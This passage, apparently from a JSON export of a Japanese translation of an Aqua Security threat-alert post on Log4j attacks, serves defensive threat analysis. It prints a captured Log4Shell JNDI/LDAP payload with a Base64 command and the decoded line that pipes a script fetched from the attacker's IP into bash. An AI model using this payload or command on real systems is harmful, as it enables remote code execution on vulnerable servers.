abfffbc733c72fb32b07b9cc227069c1)\u304c\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<p>${jndi:ldap:\/\/178[.]79[.]157[.]186:1389\/Basic\/Command\/Base64\/KGN1cmwgLXMgMTc4Ljc5LjE1Ny4xODYvP2N1cmx8fHdnZXQgMTc4Ljc5LjE1Ny4xODYvP3dnZXQpfGJhc2g=}<\/p>\n<p>\u4ee5\u4e0b\u306f\u3001\u5fa9\u53f7\u3057\u305f\u30b3\u30de\u30f3\u30c9\u3067\u3059\u3002<\/p>\n<p>(curl -s 178[.]79[.]157[.]186\/?curl||wget 178[.]79[.]157[.]186\/?wget)|bash<\/p>\n<p><center><img decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/Blog\/Log4j%20Attacks%2012-21\/Figure12_OK2.jpg?width=850&name=Figure12_OK2.jpg\" alt=\"\" \/><\/center><br \/>\n<center>\u56f312\uff1aBase64\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8 \u305d\u306e2<\/center><\/p>\n<p>Log4j \u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u306e\u8a73\u7d30\u3068\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3067\u3053\u308c\u3092\u7de9\u548c\u3059\u308b\u65b9\u6cd5\u306b\u3064\u3044\u3066\u306f\u3001<a href=\"https:\/\/info.aquasec.com\/log4j-what-to-know\" rel=\"noopener\" target=\"_blank\">\u3053\u3061\u3089\u306e\u30a6\u30a7\u30d3\u30ca\u30fc\u3067\u8aac\u660e<\/a>\u3057\u307e\u3059\u3002<\/p>\n<p><center>\n\t\t<!--HubSpot Call-to-Action Code -->\n\t\t<span class=\"hs-cta-wrapper\" id=\"hs-cta-wrapper-fecc193b-bbc5-40d2-9588-ed7b022af3aa\">\n\t\t<span class=\"hs-cta-node hs-cta-fecc193b-bbc5-40d2-9588-ed7b022af3aa\" id=\"fecc193b-bbc5-40d2-9588-ed7b022af3aa\">\n\t\t<!--[if lte IE 8]>\n\t\t<div id=\"hs-cta-ie-element\"><\/div>\n\t\t<![endif]-->\n\t\t<a href=\"https:\/\/cta-redirect.hubspot.com\/cta\/redirect\/6168413\/fecc193b-bbc5-40d2-9588-ed7b022af3aa\" >\n\t\t<img decoding=\"async\" class=\"hs-cta-img\" id=\"hs-cta-img-fecc193b-bbc5-40d2-9588-ed7b022af3aa\" style=\"border-width:0px;\" src=\"https:\/\/no-cache.hubspot.com\/cta\/default\/6168413\/fecc193b-bbc5-40d2-9588-ed7b022af3aa.png\"  alt=\"New call-to-action\"\/>\n\t\t<\/a>\n\t\t<\/span>\n\t\t<script charset=\"utf-8\" src=\"\/\/js.hubspot.com\/cta\/current.js\"><\/script>\n\t\t<script>\n\t\thbspt.cta.load(6168413, 'fecc193b-bbc5-40d2-9588-ed7b022af3aa', {});\n\t\t<\/script>\n\t\t<\/span>\n\t\t<!-- end HubSpot Call-to-Action Code -->\n\t\t<\/center><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u672c\u30d6\u30ed\u30b0\u306f\u300cAqua Security\u300d\u793e\u306e\u6280\u8853\u30d6\u30ed\u30b0\u30672021\u5e7412\u670817\u65e5\u306b\u516c\u958b\u3055\u308c\u305f\u300c Threat Alert: Tracking Real-World Log4j Attacks \u300d\u306e\u65e5\u672c\u8a9e\u7ffb\u8a33\u3067\u3059\u3002 \u8105\u5a01\u30a2\u30e9 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